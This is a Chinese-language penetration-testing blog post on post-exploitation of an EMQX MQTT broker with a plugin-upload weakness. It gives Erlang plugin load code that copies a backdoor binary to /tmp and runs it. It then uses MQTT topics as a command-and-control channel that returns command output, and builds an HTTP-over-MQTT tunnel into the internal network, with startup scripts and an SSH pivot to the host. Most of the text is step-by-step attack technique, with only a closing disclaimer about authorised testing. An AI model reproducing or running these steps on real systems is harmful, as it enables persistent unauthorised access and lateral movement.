上一篇文章介绍了在EMQX后台通过插件植入实现命令执行的方法,但存在一个问题:执行结果无法直接回显。那么,如何利用这个暴露的MQTT服务进一步渗透呢?命令执行本身或许容易,但后续的利用才是真正的挑战(如果目标能出网,情况会简单很多)。
MQTT是一种轻量级的消息协议,专为低带宽、不可靠网络或需要简单通信的场景设计,常用于物联网设备通讯。其核心是发布/订阅模式:客户端向某个主题(Topic)发布消息,而订阅了该主题的客户端则会收到消息。
利用方式一:通过MQTT协议回显命令执行结果
思路是:编写一个MQTT客户端程序,将其作为后门植入。该程序订阅一个用于接收命令的主题,执行收到的命令,然后将结果发布到另一个主题,从而实现回显。
首先,将编译好的可执行文件(我们暂且称之为rce)放置于插件源码目录 my_emqx_plugin/src 下。

接着,在插件的Erlang源码中,找到命令执行点(例如应用启动时的load函数),添加执行该后门程序的代码。
% Called when the plugin application start
load(Env) ->
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/src/rce /tmp/"),
os:cmd("chmod +x /tmp/rce"),
os:cmd("bash -c \"/tmp/rce\""),

随后,在EMQX管理后台上传并尝试启动这个新编译的插件。虽然插件状态可能显示“已停止”(因为rce进程可能导致插件启动流程卡住),但后门程序其实已经在后台运行了。

从管理面板的集群概览中,可以看到连接数增加了,这证明我们的后门已经成功连接上线。

接下来,我们需要一个控制端。可以使用 MQTTX 这类客户端连接到目标MQTT服务。

这里需要明确主题的交互逻辑:我们植入的后门程序会发布命令执行结果到 tx/test 主题,并订阅 rx/test 主题来接收命令。因此,控制端(MQTTX)需要做相反的操作:订阅 tx/test 来接收结果,发布命令到 rx/test。
连接成功后,向 rx/test 主题发送一条命令,例如 ps -ef,即可在 tx/test 主题下收到命令执行结果的回显。

至此,我们成功实现了在不出网的情况下,通过MQTT协议对命令执行结果进行回显。如果因为插件进程卡住导致无法卸载插件,可以先通过MQTT通道执行命令启动一个新的持久化后门,然后强行终止插件进程,即可完成插件的卸载。

利用方式二:利用MQTT协议构建内网穿透隧道
我们能否更进一步,利用这个通道进行内网穿透呢?考虑到HTTP协议也是“一发一收”的请求-响应模式,我们可以设计一个HTTP代理隧道。
整体架构涉及两对程序:
- 服务端:部署在目标内网的
httpserver 和 httpserver-mqtt。
- 客户端:攻击者本地的
httpclient 和 httpclient-mqtt。
流程图如下:
httpserver <-> httpserver-mqtt <-(MQTT通道)-> httpclient-mqtt <-> httpclient

首先,将 httpserver 和 httpserver-mqtt 这两个可执行文件,通过利用方式一中提到的插件上传方法,放到目标机器的插件目录下。

然后,同样使用利用方式一建立的控制通道,执行命令查看文件是否上传成功,并编写一个启动脚本。
ls -l plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/src

此时EMQX管理面板显示只有2个连接(MQTTX和控制后门)。我们创建一个启动脚本 /tmp/1.sh,目的是同时运行两个服务端程序。
echo "nohup .././.././.././../tmp/server 2>&1 &" > /tmp/1.sh
echo "nohup .././.././.././../tmp/servertomqtt 2>&1 &" >> /tmp/1.sh

查看脚本内容并执行:
cat /tmp/1.sh
bash /tmp/1.sh
ls -l /tmp/

执行脚本后,从EMQX面板可以看到连接数增加了,说明隧道服务端已经成功运行。

现在,在攻击者本地运行客户端程序 httpclient 和 httpclient-mqtt。

隧道建立后,即可通过本地代理访问目标内网资源。例如,在Docker环境下,172.17.0.1 通常是宿主机的IP。
ssh root@172.17.0.1

整个过程中,HTTP请求和响应数据都被封装在MQTT消息中进行传输,实现了数据流的内网穿透。


通过上述两种方式,我们演示了如何对一个存在插件上传漏洞的EMQX 消息中间件 进行深度利用,从简单的命令执行升级为可持续交互的控制通道,乃至实现内网穿透。这凸显了在物联网和运维场景中,MQTT服务安全配置的重要性。
免责声明:本文所述技术方法仅用于安全研究、学习交流与合法授权的安全测试,请勿用于任何非法用途。使用者产生的任何不当行为均与本文作者及云栈社区无关。